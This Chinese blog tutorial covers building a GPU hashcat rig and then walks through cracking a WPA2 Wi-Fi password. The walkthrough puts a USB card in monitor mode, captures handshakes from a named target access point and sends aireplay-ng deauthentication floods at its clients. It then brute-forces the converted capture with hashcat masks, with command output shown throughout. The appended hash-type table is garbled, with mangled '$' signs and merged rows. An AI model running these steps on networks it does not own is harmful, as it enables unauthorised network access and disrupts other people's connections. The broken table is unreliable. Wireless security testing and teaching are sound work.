硬件环境:
主机: TYAN FT77D-B7109
CPU: Intel Xeon Scalable Processor
GPU: 1080Ti x 8 (测试时只用了两块, 分别是MSI/技嘉)
内存: 32G
硬盘: 1T SSD
0x00 配置环境
0x01 安装系统
目标系统: Ubuntu 18.04.1 LTS Desktop (建议安装Server版)
在官网下载好启动盘之后, 用烧录工具(建议用win32diskimager)写入U盘, 然后进入启动项选为U盘启动, 接下来开始安装, 一路默认配置就好. 具体步骤请谷歌, 这里就不赘述了. (这里我们遇到一个坑, 就是插了PCIE网卡之后安装系统一直重启, 可能是主机的兼容性问题, 装系统的时候如果条件允许, 最好把所有的外置设备卸载掉)
0x02 安装GPU驱动
安装好系统之后, 可以配置一下更新源(
/etc/apt/sources.list
,我用的是中科大源), update一下系统.1
2
3
4
5
6
7
8
9
10deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse1
2sudo apt-get update && apt-get upgrade
sudo apt-get install gcc make p7zip-full git lsb-core然后将Nouveau(NVIDIA通用显卡驱动)禁用:
1
2
3
4sudo bash -c "echo blacklist nouveau > /etc/modprobe.d/blacklist-nvidia-nouveau.conf"
sudo bash -c "echo options nouveau modeset=0 >> /etc/modprobe.d/blacklist-nvidia-nouveau.conf"
sudo update-initramfs -u
sudo reboot等重启之后, 再添加32位的NVIDIA驱动源:
1
2
3sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install build-essential libc6:i386在官网下载驱动, 下载好之后:
1
2
3chmod +x NVIDIA*.run
sudo ./NVIDIA*.run
sudo reboot或者:
1
2
3wget http://us.download.nvidia.com/XFree86/Linux-x86_64/375.26/NVIDIA-Linux-x86_64-375.26.run
chmod +x NVIDIA-Linux-x86_64-375.26.run
sudo ./NVIDIA-Linux-x86_64-375.26.run(可选步骤)安装CPU集成显卡驱动:
1
2
3
4wget http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
tar -xvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
cd opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25
./install.sh这时候可以看一下显卡配置:
1
lspci | grep VGA
0x03 安装hashcat
1 | wget https://hashcat.net/files/hashcat-3.30.7z |
这是个比较老的版本, 我用的aircrack跑出来的包用这个版本可以跑. 如果想尝一下鲜也可以:
1 | wget https://hashcat.net/files/hashcat-4.2.1.7z |
顺便测试一下速度(在解压后的目录里直接运行./example0.sh
即可):
1 | Session..........: hashcat |
关于上面输出的参数解析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25实际上example0.sh的命令如下:
./hashcat64.bin -t 32 -a 7 example0.hash ?a?a?a?a example.dict
Session..........:
Status...........:
Hash.Type........: 表示哈希计算的类型
Hash.Target......: 表示目标哈希表
Time.Started.....: 计算开始时间
Time.Estimated...: 估计结束时间
Guess.Base.......: 密码字典
Guess.Mod........: 密码类型(大小写/数字等)
Guess.Queue.Base.:
Guess.Queue.Mod..:
Speed.Dev.#2.....: 显卡1的速度(8340.0MH/s 约等于每秒83亿次运算)
Speed.Dev.#3.....: 显卡2...
Speed.Dev.#*.....: 总速度
Recovered........:
Recovered/Time...: 当前已用时间(分,时,天); 平均需要时间(分,时,天)
Progress.........: 当前进度
Rejected.........: 应该是丢包率(猜的)
Restore.Point....: 当前的进度
Candidates.#2....: 即将尝试爆破的密码(猜的)
Candidates.#3....:
HWMon.Dev.#2.....: Temp表示当前显卡温度;Fan表示风扇转速;Men内存频率
HWMon.Dev.#3.....: Util表示内存使用率;Core表示GPU核频率;Bus通道数关于hashcat命令参数解析(详见附录一):
1
2
3
4
5
6
7
8
9
10
11
12-a 指定要使用的破解模式
-m 指定要破解的hash类型所对应的id[下面有一份完整的hash id对照表],几乎现在市面上常用的一些散列类型它都支持,而且每个版本更新都会增加一些新的算法
-o 指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
--show 显示已经破解的hash及该hash所对应的明文
--increment 启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程,其实,并不建议这么用,因为破解时间可能会比较长
--increment-min 密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用
--increment-max 密码最大长度,同上
--outfile-format 指定破解结果的输出格式id,一般自己常用3
--username 忽略hash文件中的指定的用户名,在破解win和linux系统用户密码hash可能会用到
--remove 删除已被破解成功的hash
-r 使用自定义破解规则,这个后期抽空再说吧,比较的复杂,不是一两句话能说完的真实爆破WiFi密码情况系hashcat参数解析:
1
./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?l?l?l?l?l?l?l?l
-m : hash的类型, 2500代表的是WPA/WPA2协议. 详见② Hash种类
-a: 有多种参数, 3表示穷举. 详见⑤ 攻击模式
*.hccap: 即为
aircrack
抓到的包之后转化而来的?l: 表示所有的小写字母. 详见⑥ 内置字符集
0x10 Crack实战
0x11 初始配置
首先需要找一个可以监听注入的USB网卡, 如果笔记本自带网卡能用就更好了. 这里以
rt2800usb
为例讲解:1
2
3
4root@ks:/home/ks# airmon-ng
PHY Interface Driver Chipset
phy0 wlp3s0 iwlwifi Intel Corporation Device 24fb (rev 10)
phy1 wlx7cdd90f1f416 rt2800usb Ralink Technology, Corp. RT2870/RT3070可以看到, 有两张网卡,
wlp3s0
是笔记本自带的英特尔系列网卡;lx7cdd90f1f416
是能够监听的新插入的usb网卡.查看网卡状态, 两张网卡的Mode都是
Managed
:1
2
3
4
5
6
7
8
9
10
11
12
13
14root@ks:/home/ks# iwconfig
wlx7cdd90f1f416 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=off
Retry short long limit:2 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
lo no wireless extensions.
wlp3s0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=off
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
enp2s0 no wireless extensions.
enp0s20f0u1 no wireless extensions.为了避免冲突, 先杀占用进程
1
2
3
4
5
6
7
8
9root@ks:/home/ks# airmon-ng check kill
Killing these processes:
PID Name
891 wpa_supplicant
3091 dhclient
4430 avahi-daemon
4431 avahi-daemon然后将能够抓包的网卡的Mode设为
Monitor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24root@ks:/home/ks# airmon-ng start wlx7cdd90f1f416
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
7674 avahi-daemon
7675 avahi-daemon
PHY Interface Driver Chipset
phy0 wlp3s0 iwlwifi Intel Corporation Device 24fb (rev 10)
phy4 wlx7cdd90f1f416 rt2800usb Ralink Technology, Corp. RT2870/RT3070
truewlx7cdd90f1f416 is soft blocked, please run "rfkill unblock wlx7cdd90f1f416" to use this interface.
rfkill error, unable to start wlx7cdd90f1f416
Would you like to try and automatically resolve this? [y/n] y
rfkill error: rfkill: invalid identifier: 4
Unable to unblock.
Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.
truetrue(mac80211 monitor mode vif enabled on [phy4]wlan0mon
truetrue(mac80211 station mode vif disabled for [phy4]wlx7cdd90f1f416)此时再看一下无线网卡状态:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16root@ks:/home/ks# iwconfig
lo no wireless extensions.
wlp3s0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
wlan0mon IEEE 802.11 Mode:Monitor Tx-Power=off
Retry short long limit:2 RTS thr:off Fragment thr:off
Power Management:off
enp2s0 no wireless extensions.
enp0s20f0u1 no wireless extensions.已更改~
0x12 实施攻击
我们的攻击目标是
iPhone
:1
root@ks:/home/ks# airodump-ng wlan0mon
上图可看到它的mac是
74:D2:1D:AE:3F:94
, 信道(CH)是1
. (记住这两个信息下面有用)接下来我们开两个shell, 一个shell负责监听握手包, 另一个shell负责洪荒攻击两个正常连接的WiFi设备, 我们先看看第一个shell:
1
airodump-ng --bssid 74:D2:1D:AE:3F:94 -c 1 -w test wlan0mon
可以看出来已经抓到了握手包703个. 对命令参数解释如下:
--bssid: 表示WiFi热点的mac
-c: 表示信道1
-w: 后面跟着文件名
wlan0mon: 需要监听的网卡
开启了监听之后, 我们就需要DDoS目标连接了, 这时候在另一个shell输入如下命令:
1
aireplay-ng --deauth 5 -a 74:D2:1D:AE:3F:94 wlan0mon
隔几秒发一次, 以抓到足够的握手包, 减少爆破的时间.
0x20 开始爆破
在上面操作的监听过程中, 会在当前路径下保存一个抓到的握手包的数据, 但这个流量包还不能直接让hashcat跑, 需要做简单的处理, 先做一个简单的数据清洗:
1 | root@ks:~/crack_packet_wifi# wpaclean wpapass.cap test-05.cap |
可以看到, 已经成功识别出目标无限的mac. 接下来我们吧数据包转换成hashcat能够识别的hash类型:
1 | root@ks:/home/ks/software/crack_pw/crack_packet_wifi# aircrack-ng wpapass.cap -J wpahash |
接下来就是直接放到爆破的服务器上跑(实测用最新版的hashcat跑不了, 这里用了3.30版本的hashcat)
1 | ./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?d?d?d?d?d?d?d?d |
几秒钟就跑出来了:
1 | Session..........: hashcat |
假设我们把它设置成全字符爆破, 也就是:
1 | ./hashcat64.bin -m 2500 -a 3 wpahash.hccap ?a?a?a?a?a?a?a?a |
则需要几百年(可见, 如果知道WiFi密码的字符组成结构, 也就成功了一半了):
1 | Session..........: hashcat |
参考链接
- How to build a 8 GPU password cracker
- Running HashCat on Ubuntu 18.04 Server with 1080TI
- How to Build a Password Cracker with NVidia GTX 1080TI & GTX 1070
- 快速破解各种散列hash hashcat入门篇
- aircrack & hashcat 非字典高速破解目标无线密码
- 用hashcat超速破解WiFi密码
- 开源GPU密码破解工具–HashCat
- hashcat 帮助文件 中文翻译
- Hashcat用户手册——直接攻击模式的使用
附录一
① hashcat选项解释
用法:
1 | hashcat [选项]... hash|hash文件|hccapx文件 [字典|掩码|目录]... |
选项 缩写 / 原文 | 参数类型 | 描述 | 用例 |
---|---|---|---|
-m,--hash-type | 数字 | Hash种类,参见下面的参考 | -m 1000 |
-a,--attack-mode | 数字 | 攻击模式,参见下面的参考 | -a 3 |
-V,--version | 输出版本信息 | ||
-h,--help | 输出帮助信息 | ||
--quiet | 禁用输出 | ||
--hex-charset | 字符集以十六进制形式给出 | ||
--hex-salt | 盐以十六进制形式给出 | ||
--hex-wordlist | 字典中的单词是以十六进制形式给出的 | ||
--force | 忽略警告 | ||
--status | 自动更新屏幕 | ||
--status-timer | 数字 | 设置自动更新屏幕间隔为X秒 | --status-timer=1 |
--machine-readable | 以机器可读格式显示状态视图 | ||
--keep-guessing | 被破解之后继续猜测Hash | ||
--loopback | 在induction目录中加入新的纯文本文件 | ||
--weak-hash-threshold | 数字 | 当阈值为X时停止检查弱Hash | --weak=0 |
--markov-hcstat | 文件 | 指定要使用的hcstat文件 | --markov-hc=my.hcstat |
--markov-disable | 禁用马尔可夫链,模仿经典暴力破解 | ||
--markov-classic | 启用经典马尔可夫链,无任何位置 | ||
-t,--markov-threshold | 数字 | 当阈值X时停止接收新的马尔科夫链 | -t 50 |
--runtime | 数字 | 运行X秒后中止会话 | --runtime=10 |
--session | 字符串 | 定义具体的会话名称 | --session=mysession |
--restore | 从--session恢复会话 | ||
--restore-disable | 不写入恢复文件 | ||
--restore-file-path | 文件 | 指定恢复文件的路径 | --restore-file-path=my.restore |
-o,--outfile | 文件 | 定义恢复的Hash的输出文件 | -o outfile.txt |
--outfile-format | 数字 | 定义恢复的Hash的输出格式,参见下面的参考 | --outfile-format=7 |
--outfile-autohex-disable | 在输出纯文本文件中禁用$HEX[] | ||
--outfile-check-timer | 数字 | 设置输出文件检查间隔为X秒 | --outfile-check=30 |
-p,--separator | 字符 | Hash表和输出文件的分隔符 | -p : |
--stdout | 不破解Hash,只打印候选值 | ||
--show | 比较Hash表和pot文件,显示已破解的Hash | ||
--left | 比较Hash表和pot文件,显示未破解的Hash | ||
--username | 忽略Hash文件中的用户名 | ||
--remove | 一旦破解,就删除Hash | ||
--remove-timer | 数字 | 每X秒更新输入的Hash文件 | --remove-timer=30 |
--potfile-disable | 不写入pot文件 | ||
--potfile-path | 目录 | 指定pot文件的路径 | --potfile-path=my.pot |
--debug-mode | 数字 | 定义调试模式(仅通过使用规则进行混合) | --debug-mode=4 |
--debug-file | 文件 | 调试规则的输出文件 | --debug-file=good.log |
--induction-dir | 目录 | 指定loopback的induction目录 | --induction=inducts |
--outfile-check-dir | 目录 | 指定监控纯文本文件的输出目录 | --outfile-check-dir=x |
--logfile-disable | 禁用日志文件 | ||
--hccapx-message-pair | 数字 | 只从hccapx加载匹配X的消息对 | --hccapx-message-pair=2 |
--nonce-error-corrections | 数字 | 用BF大小范围来取代AP最后字节的随机数 | --nonce-error-corrections=16 |
--truecrypt-keyfiles | 文件 | 要使用的密匙文件,用逗号分隔 | --truecrypt-key=x.png |
--veracrypt-keyfiles | 文件 | 要使用的密匙文件,用逗号分隔 | --veracrypt-key=x.txt |
--veracrypt-pim | 数字 | VeraCrypt的头部密钥生成的迭代次数(PIM) | --veracrypt-pim=1000 |
-b,--benchmark | 运行基准测试 | ||
--speed-only | 返回预期的攻击速度,然后退出 | ||
--progress-only | 返回理想进度的步骤大小和处理时间 | ||
-c,--segment-size | 数字 | 为wordfile设置 X MB缓存 | -c 32 |
--bitmap-min | 数字 | 设置位图最小为X位(bit) | --bitmap-min=24 |
--bitmap-max | 数字 | 设置位图最大为X位(bit) | --bitmap-max=24 |
--cpu-affinity | 字符串 | 设置CPU相关性,用逗号分隔 | --cpu-affinity=1,2,3 |
-I,--opencl-info | 显示检测到的OpenCL平台/设备的信息 | -I | |
--opencl-platforms | 字符串 | 要使用的OpenCL平台,用逗号分隔 | --opencl-platforms=2 |
-d,--opencl-devices | 字符串 | 要使用的OpenCL设备,用逗号分隔 | -d 1 |
-D,--opencl-device-types | 字符串 | 要使用的OpenCL设备类型,用逗号分隔 | -D 1 |
--opencl-vector-width | 数字 | 手动覆盖OpenCL矢量宽度为X | --opencl-vector=4 |
-w,--workload-profile | 数字 | 设置工作负载配置文件,参见下面的参考 | -w 3 |
-n,--kernel-accel | 数字 | 手动调整工作负载,将外圈步长设置为X | -n 64 |
-u,--kernel-loops | 数字 | 手动调整工作负载,将内圈步长设置为X | -u 256 |
--nvidia-spin-damp | 数字 | 可变通NVIDIA处理器热循环Bug,用百分比表示 | --nvidia-spin-damp=50 |
--gpu-temp-disable | 禁用GPU温度和风扇速度的读取和触发 | ||
--gpu-temp-abort | 数字 | 如果GPU温度达到X摄氏度,则中止 | --gpu-temp-abort=100 |
--gpu-temp-retain | 数字 | 尝试将GPU温度保持在X摄氏度 | --gpu-temp-retain=95 |
--powertune-enable | 启用电源调整。 完成后恢复设置 | ||
--scrypt-tmto | 数字 | 手动覆盖scrypt的TMTO值为X | --scrypt-tmto=3 |
-s,--skip | 数字 | 跳过前X个单词 | -s 1000000 |
-l,--limit | 数字 | 跳过单词后限制X个单词 | -l 1000000 |
--keyspace | 显示密钥空间base:mod值后退出 | ||
-j,--rule-left | 规则 | 单个规则应用于字典中左侧的每个单词 | -j 'c' |
-k,--rule-right | 规则 | 单个规则应用于字典中右侧的每个单词 | -k '^-' |
-r,--rules-file | 文件 | 多个规则应用于字典中的每个单词 | -r rules/best64.rule |
-g,--generate-rules | 数字 | 生成X个随机规则 | -g 10000 |
--generate-rules-func-min | 数字 | 强制每个规则最小X个函数 | |
--generate-rules-func-max | 数字 | 强制每个规则最大X个函数 | |
--generate-rules-seed | 数字 | 强制RNG种子设置为X | |
-1,--custom-charset1 | 字符集 | 用户定义的字符集 ?1 | -1 ?l?d?u |
-2,--custom-charset2 | 字符集 | 用户定义的字符集 ?2 | -2 ?l?d?s |
-3,--custom-charset3 | 字符集 | 用户定义的字符集 ?3 | |
-4,--custom-charset4 | 字符集 | 用户定义的字符集 ?4 | |
-i,--increment | 启用掩码增量模式 | ||
--increment-min | 数字 | 在X处开始掩码递增 | --increment-min=4 |
--increment-max | 数字 | 在X处停止掩码递增 | --increment-max=8 |
② Hash种类
编号 | 名称 | 类别 |
---|---|---|
900 | MD4 | 纯Hash |
0 | MD5 | 纯Hash |
5100 | Half MD5 | 纯Hash |
100 | SHA1 | 纯Hash |
1300 | SHA-224 | 纯Hash |
1400 | SHA-256 | 纯Hash |
10800 | SHA-384 | 纯Hash |
1700 | SHA-512 | 纯Hash |
5000 | SHA-3 (Keccak) | 纯Hash |
10100 | SipHash | 纯Hash |
6000 | RIPEMD-160 | 纯Hash |
6100 | Whirlpool | 纯Hash |
6900 | GOST R 34.11-94 | 纯Hash |
11700 | GOST R 34.11-2012 (Streebog) 256-bit | 纯Hash |
11800 | GOST R 34.11-2012 (Streebog) 512-bit | 纯Hash |
10 | md5(\(pass.\)salt) | 纯Hash,盐 且/或 多次迭代 |
20 | md5(\(salt.\)pass) | 纯Hash,盐 且/或 多次迭代 |
30 | md5(unicode(\(pass).\)salt) | 纯Hash,盐 且/或 多次迭代 |
40 | md5(\(salt.unicode(\)pass)) | 纯Hash,盐 且/或 多次迭代 |
3800 | md5(\(salt.\)pass.\(salt) | 纯Hash,盐 且/或 多次迭代 | | 3710 | md5(\)salt.md5(\(pass)) | 纯Hash,盐 且/或 多次迭代 | | 4010 | md5(\)salt.md5(\(salt.\)pass)) | 纯Hash,盐 且/或 多次迭代 |
4110 | md5(\(salt.md5(\)pass.\(salt)) | 纯Hash,盐 且/或 多次迭代 | | 2600 | md5(md5(\)pass)) | 纯Hash,盐 且/或 多次迭代 |
3910 | md5(md5(\(pass).md5(\)salt)) | 纯Hash,盐 且/或 多次迭代 |
4300 | md5(strtoupper(md5(\(pass))) | 纯Hash,盐 且/或 多次迭代 | | 4400 | md5(sha1(\)pass)) | 纯Hash,盐 且/或 多次迭代 |
110 | sha1(\(pass.\)salt) | 纯Hash,盐 且/或 多次迭代 |
120 | sha1(\(salt.\)pass) | 纯Hash,盐 且/或 多次迭代 |
130 | sha1(unicode(\(pass).\)salt) | 纯Hash,盐 且/或 多次迭代 |
140 | sha1(\(salt.unicode(\)pass)) | 纯Hash,盐 且/或 多次迭代 |
4500 | sha1(sha1(\(pass)) | 纯Hash,盐 且/或 多次迭代 | | 4520 | sha1(\)salt.sha1(\(pass)) | 纯Hash,盐 且/或 多次迭代 | | 4700 | sha1(md5(\)pass)) | 纯Hash,盐 且/或 多次迭代 |
4900 | sha1(\(salt.\)pass.\(salt) | 纯Hash,盐 且/或 多次迭代 | | 14400 | sha1(CX) | 纯Hash,盐 且/或 多次迭代 | | 1410 | sha256(\)pass.\(salt) | 纯Hash,盐 且/或 多次迭代 | | 1420 | sha256(\)salt.\(pass) | 纯Hash,盐 且/或 多次迭代 | | 1430 | sha256(unicode(\)pass).\(salt) | 纯Hash,盐 且/或 多次迭代 | | 1440 | sha256(\)salt.unicode(\(pass)) | 纯Hash,盐 且/或 多次迭代 | | 1710 | sha512(\)pass.\(salt) | 纯Hash,盐 且/或 多次迭代 | | 1720 | sha512(\)salt.\(pass) | 纯Hash,盐 且/或 多次迭代 | | 1730 | sha512(unicode(\)pass).\(salt) | 纯Hash,盐 且/或 多次迭代 | | 1740 | sha512(\)salt.unicode($pass)) | 纯Hash,盐 且/或 多次迭代 |
50 | HMAC-MD5 (key = $pass) | 纯Hash,认证的 |
60 | HMAC-MD5 (key = $salt) | 纯Hash,认证的 |
150 | HMAC-SHA1 (key = $pass) | 纯Hash,认证的 |
160 | HMAC-SHA1 (key = $salt) | 纯Hash,认证的 |
1450 | HMAC-SHA256 (key = $pass) | 纯Hash,认证的 |
1460 | HMAC-SHA256 (key = $salt) | 纯Hash,认证的 |
1750 | HMAC-SHA512 (key = $pass) | 纯Hash,认证的 |
1760 | HMAC-SHA512 (key = $salt) | 纯Hash,认证的 |
14000 | DES (PT = $salt, key = $pass) | 纯加密,已知的明文攻击 |
14100 | 3DES (PT = $salt, key = $pass) | 纯加密,已知的明文攻击 |
14900 | Skip32 (PT = $salt, key = $pass) | 纯加密,已知的明文攻击 |
400 | phpass | 通用密钥导出函数(KDF) |
8900 | scrypt | 通用密钥导出函数(KDF) |
11900 | PBKDF2-HMAC-MD5 | 通用密钥导出函数(KDF) |
12000 | PBKDF2-HMAC-SHA1 | 通用密钥导出函数(KDF) |
10900 | PBKDF2-HMAC-SHA256 | 通用密钥导出函数(KDF) |
12100 | PBKDF2-HMAC-SHA512 | 通用密钥导出函数(KDF) |
23 | Skype | 网络协议 |
2500 | WPA/WPA2 | 网络协议 |
4800 | iSCSI CHAP authentication, MD5(CHAP) | 网络协议 |
5300 | IKE-PSK MD5 | 网络协议 |
5400 | IKE-PSK SHA1 | 网络协议 |
5500 | NetNTLMv1 | 网络协议 |
5500 | NetNTLMv1+ESS | 网络协议 |
5600 | NetNTLMv2 | 网络协议 |
7300 | IPMI2 RAKP HMAC-SHA1 | 网络协议 |
7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | 网络协议 |
8300 | DNSSEC (NSEC3) | 网络协议 |
10200 | CRAM-MD5 | 网络协议 |
11100 | PostgreSQL CRAM (MD5) | 网络协议 |
11200 | MySQL CRAM (SHA1) | 网络协议 |
11400 | SIP digest authentication (MD5) | 网络协议 |
13100 | Kerberos 5 TGS-REP etype 23 | 网络协议 |
121 | SMF (Simple Machines Forum) > v1.1 | 论坛,内容管理系统(CMS),电子商务,框架 |
400 | phpBB3 (MD5) | 论坛,内容管理系统(CMS),电子商务,框架 |
2611 | vBulletin < v3.8.5 | 论坛,内容管理系统(CMS),电子商务,框架 |
2711 | vBulletin >= v3.8.5 | 论坛,内容管理系统(CMS),电子商务,框架 |
2811 | MyBB 1.2+ | 论坛,内容管理系统(CMS),电子商务,框架 |
2811 | IPB2+ (Invision Power Board) | 论坛,内容管理系统(CMS),电子商务,框架 |
8400 | WBB3 (Woltlab Burning Board) | 论坛,内容管理系统(CMS),电子商务,框架 |
11 | Joomla < 2.5.18 | 论坛,内容管理系统(CMS),电子商务,框架 |
400 | Joomla >= 2.5.18 (MD5) | 论坛,内容管理系统(CMS),电子商务,框架 |
400 | WordPress (MD5) | 论坛,内容管理系统(CMS),电子商务,框架 |
2612 | PHPS | 论坛,内容管理系统(CMS),电子商务,框架 |
7900 | Drupal7 | 论坛,内容管理系统(CMS),电子商务,框架 |
21 | osCommerce | 论坛,内容管理系统(CMS),电子商务,框架 |
21 | xt:Commerce | 论坛,内容管理系统(CMS),电子商务,框架 |
11000 | PrestaShop | 论坛,内容管理系统(CMS),电子商务,框架 |
124 | Django (SHA-1) | 论坛,内容管理系统(CMS),电子商务,框架 |
10000 | Django (PBKDF2-SHA256) | 论坛,内容管理系统(CMS),电子商务,框架 |
3711 | MediaWiki B type | 论坛,内容管理系统(CMS),电子商务,框架 |
13900 | OpenCart | 论坛,内容管理系统(CMS),电子商务,框架 |
4521 | Redmine | 论坛,内容管理系统(CMS),电子商务,框架 |
4522 | PunBB | 论坛,内容管理系统(CMS),电子商务,框架 |
12001 | Atlassian (PBKDF2-HMAC-SHA1) | 论坛,内容管理系统(CMS),电子商务,框架 |
12 | PostgreSQL | 数据库服务器 |
131 | MSSQL (2000) | 数据库服务器 |
132 | MSSQL (2005) | 数据库服务器 |
1731 | MSSQL (2012, 2014) | 数据库服务器 |
200 | MySQL323 | 数据库服务器 |
300 | MySQL4.1/MySQL5 | 数据库服务器 |
3100 | Oracle H: Type (Oracle 7+) | 数据库服务器 |
112 | Oracle S: Type (Oracle 11+) | 数据库服务器 |
12300 | Oracle T: Type (Oracle 12+) | 数据库服务器 |
8000 | Sybase ASE | 数据库服务器 |
141 | Episerver 6.x < .NET 4 | HTTP,SMTP,LDAP服务器 |
1441 | Episerver 6.x >= .NET 4 | HTTP,SMTP,LDAP服务器 |
1600 | Apache \(apr1\) MD5, md5apr1, MD5 (APR) | HTTP,SMTP,LDAP服务器 |
12600 | ColdFusion 10+ | HTTP,SMTP,LDAP服务器 |
1421 | hMailServer | HTTP,SMTP,LDAP服务器 |
101 | nsldap, SHA-1(Base64), Netscape LDAP SHA | HTTP,SMTP,LDAP服务器 |
111 | nsldaps, SSHA-1(Base64), Netscape LDAP SSHA | HTTP,SMTP,LDAP服务器 |
1411 | SSHA-256(Base64), LDAP {SSHA256} | HTTP,SMTP,LDAP服务器 |
1711 | SSHA-512(Base64), LDAP {SSHA512} | HTTP,SMTP,LDAP服务器 |
15000 | FileZilla Server >= 0.9.55 | FTP 服务器 |
11500 | CRC32 | 校验和 |
3000 | LM | 操作系统 |
1000 | NTLM | 操作系统 |
1100 | Domain Cached Credentials (DCC), MS Cache | 操作系统 |
2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2 | 操作系统 |
12800 | MS-AzureSync PBKDF2-HMAC-SHA256 | 操作系统 |
1500 | descrypt, DES (Unix), Traditional DES | 操作系统 |
12400 | BSDiCrypt, Extended DES | 操作系统 |
500 | md5crypt, MD5 (Unix), Cisco-IOS \(1\) (MD5) | 操作系统 |
3200 | bcrypt \(2*\), Blowfish (Unix) | 操作系统 |
7400 | sha256crypt \(5\), SHA256 (Unix) | 操作系统 |
1800 | sha512crypt \(6\), SHA512 (Unix) | 操作系统 |
122 | OSX v10.4, OSX v10.5, OSX v10.6 | 操作系统 |
1722 | OSX v10.7 | 操作系统 |
7100 | OSX v10.8+ (PBKDF2-SHA512) | 操作系统 |
6300 | AIX {smd5} | 操作系统 |
6700 | AIX {ssha1} | 操作系统 |
6400 | AIX {ssha256} | 操作系统 |
6500 | AIX {ssha512} | 操作系统 |
2400 | Cisco-PIX MD5 | 操作系统 |
2410 | Cisco-ASA MD5 | 操作系统 |
500 | Cisco-IOS \(1\) (MD5) | 操作系统 |
5700 | Cisco-IOS type 4 (SHA256) | 操作系统 |
9200 | Cisco-IOS \(8\) (PBKDF2-SHA256) | 操作系统 |
9300 | Cisco-IOS \(9\) (scrypt) | 操作系统 |
22 | Juniper NetScreen/SSG (ScreenOS) | 操作系统 |
501 | Juniper IVE | 操作系统 |
15100 | Juniper/NetBSD sha1crypt | 操作系统 |
7000 | FortiGate (FortiOS) | 操作系统 |
5800 | Samsung Android Password/PIN | 操作系统 |
13800 | Windows Phone 8+ PIN/password | 操作系统 |
8100 | Citrix NetScaler | 操作系统 |
8500 | RACF | 操作系统 |
7200 | GRUB 2 | 操作系统 |
9900 | Radmin2 | 操作系统 |
125 | ArubaOS | 操作系统 |
7700 | SAP CODVN B (BCODE) | 企业应用软件(EAS) |
7800 | SAP CODVN F/G (PASSCODE) | 企业应用软件(EAS) |
10300 | SAP CODVN H (PWDSALTEDHASH) iSSHA-1 | 企业应用软件(EAS) |
8600 | Lotus Notes/Domino 5 | 企业应用软件(EAS) |
8700 | Lotus Notes/Domino 6 | 企业应用软件(EAS) |
9100 | Lotus Notes/Domino 8 | 企业应用软件(EAS) |
133 | PeopleSoft | 企业应用软件(EAS) |
13500 | PeopleSoft PS_TOKEN | 企业应用软件(EAS) |
11600 | 7-Zip | 压缩/存档 |
12500 | RAR3-hp | 压缩/存档 |
13000 | RAR5 | 压缩/存档 |
13200 | AxCrypt | 压缩/存档 |
13300 | AxCrypt in-memory SHA1 | 压缩/存档 |
13600 | WinZip | 压缩/存档 |
14700 | iTunes 备份 < 10.0 | 备份 |
14800 | iTunes 备份 >= 10.0 | 备份 |
62XY | TrueCrypt | 全盘加密(FDE) |
X | 1 = PBKDF2-HMAC-RIPEMD160 | 全盘加密(FDE) |
X | 2 = PBKDF2-HMAC-SHA512 | 全盘加密(FDE) |
X | 3 = PBKDF2-HMAC-Whirlpool | 全盘加密(FDE) |
X | 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure AES | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure Serpent | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure AES | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure Serpent | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded AES-Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded Serpent-AES | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded Twofish-Serpent | 全盘加密(FDE) |
Y | 3 = XTS 1536 bit all | 全盘加密(FDE) |
8800 | Android FDE <= 4.3 | 全盘加密(FDE) |
12900 | Android FDE (Samsung DEK) | 全盘加密(FDE) |
12200 | eCryptfs | 全盘加密(FDE) |
137XY | VeraCrypt | 全盘加密(FDE) |
